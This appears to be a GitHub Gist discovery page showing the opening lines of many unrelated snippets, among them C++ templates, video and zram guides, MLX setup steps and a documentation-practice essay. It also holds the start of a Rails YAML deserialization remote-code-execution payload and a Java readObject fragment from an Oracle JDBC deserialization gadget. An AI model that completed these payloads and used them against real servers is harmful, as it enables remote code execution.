Skip to content

Instantly share code, notes, and snippets.

@jrmwng
jrmwng / wrapper.hpp
Created September 28, 2015 17:18
c++ class wrapper with perfect forwarded constructor
template <typename wrappee_type>
struct wrapper_t : wrappee_type
{
template <class... TArgs>
wrapper_t(TArgs &&... _Args)
: wrappee_type(std::forward<TArgs>(_Args)...)
{}
};
@arch1t3cht
arch1t3cht / video_noob_guide.md
Last active January 7, 2026 03:53
What you NEED to know before touching a video file

What you NEED to Know Before Touching a Video File

Hanging out in subtitling and video re-editing communities, I see my fair share of novice video editors and video encoders, and see plenty of them make the classic beginner mistakes when it comes to working with videos. A man can only read "Use Handbrake to convert your mkv to an mp4 :)" so many times before losing it, so I am writing this article to channel the resulting psychic damage into something productive.

If you are new to working with videos (or, let's face it, even if you aren't), please read through this guide to avoid making mistakes that can cost you lots of computing power, storage space, or video quality.

This is instruction how to run multi level compression for zram swap

The idea is that we want to be able to quickly swap memory away when we need memory, but cold pages should be compressed further. This instruction also includes traditional block storage for uncompressible pages that would not decrease otherwise any memory usage. Zstd have nice property that decompression speed is basically independend from compression level, so using higher levels will only participate in compression speed. Using zstd for default compresor causes some ui lags when memory need to be paged out, therefore is okay, but not great solution. Using zstd for recompression in the background have very little effect assuming you do not use every cpu cycle, and compressing old pages make it failry safe that they will not be needed anytime soon. This might consume 1 cpu core during recompression (accounted for recompress-idle-ram script) but otherwise allows best from both worlds, fast memory reclaim, fast swap read and very good com

@niklasb
niklasb / railspwn.rb
Last active January 7, 2026 03:52
Rails 5.1.4 YAML unsafe deserialization RCE payload
require 'yaml'
require 'base64'
require 'erb'
class ActiveSupport
class Deprecation
def initialize()
@silenced = true
end
class DeprecatedInstanceVariableProxy
private void readObject(ObjectInputStream paramObjectInputStream)
throws IOException, ClassNotFoundException, SQLException
{
paramObjectInputStream.defaultReadObject();
this.connectionProperty = ((Hashtable)paramObjectInputStream.readObject());
try
{
Properties localProperties = (Properties)this.connectionProperty.get("connection_properties");
String str1 = localProperties.getProperty("connection_url");
this.oracleDriver = new OracleDriver();
@awni
awni / mlx_dgx_spark.md
Last active January 7, 2026 03:47
MLX and MLX LM on DGX Spark

Install CUDA deps:

sudo apt-get update
sudo apt-get install libcudnn9-dev-cuda-13
sudo apt-get install libblas-dev liblapack-dev liblapacke-dev
sudo apt-get install libnccl2 libnccl-dev

Install MLX:

@awni
awni / mlx_distributed_deepseek.md
Last active January 7, 2026 03:47
Run DeepSeek R1 or V3 with MLX Distributed

Setup

On every machine in the cluster install openmpi and mlx-lm:

conda install conda-forge::openmpi
pip install -U mlx-lm

Next download the pipeline parallel run script. Download it to the same path on every machine:

@Nixellion
Nixellion / stargate_playlist_generator.py
Last active January 7, 2026 03:44
Generate Plex Playlist for Stargate shows based on Canonical watch order
# TODO:
# - [ ] Add films processing
# https://docs.google.com/spreadsheets/u/0/d/1b5T6bk5bS9LDaIVXR55-agOd_FYgTN0TZcpZDfvnMg4/pub?output=html
# https://python-plexapi.readthedocs.io/en/latest/modules/playlist.html
# https://www.reddit.com/r/PleX/comments/hmunh9/creating_playlists_with_plex_server_api/
data = '''
Film 01x01
Film 01x01
Film 01x01

🤖 Ralph Wiggum Workflow

A comprehensive guide to autonomous AI development using the Ralph Wiggum technique.

Claude Autonomous License


@zsup
zsup / ddd.md
Last active January 7, 2026 03:38
Documentation-Driven Development (DDD)

Documentation-Driven Development

The philosophy behind Documentation-Driven Development is a simple: from the perspective of a user, if a feature is not documented, then it doesn't exist, and if a feature is documented incorrectly, then it's broken.

  • Document the feature first. Figure out how you're going to describe the feature to users; if it's not documented, it doesn't exist. Documentation is the best way to define a feature in a user's eyes.
  • Whenever possible, documentation should be reviewed by users (community or Spark Elite) before any development begins.
  • Once documentation has been written, development should commence, and test-driven development is preferred.
  • Unit tests should be written that test the features as described by the documentation. If the functionality ever comes out of alignment with the documentation, tests should fail.
  • When a feature is being modified, it should be modified documentation-first.
  • When documentation is modified, so should be the tests.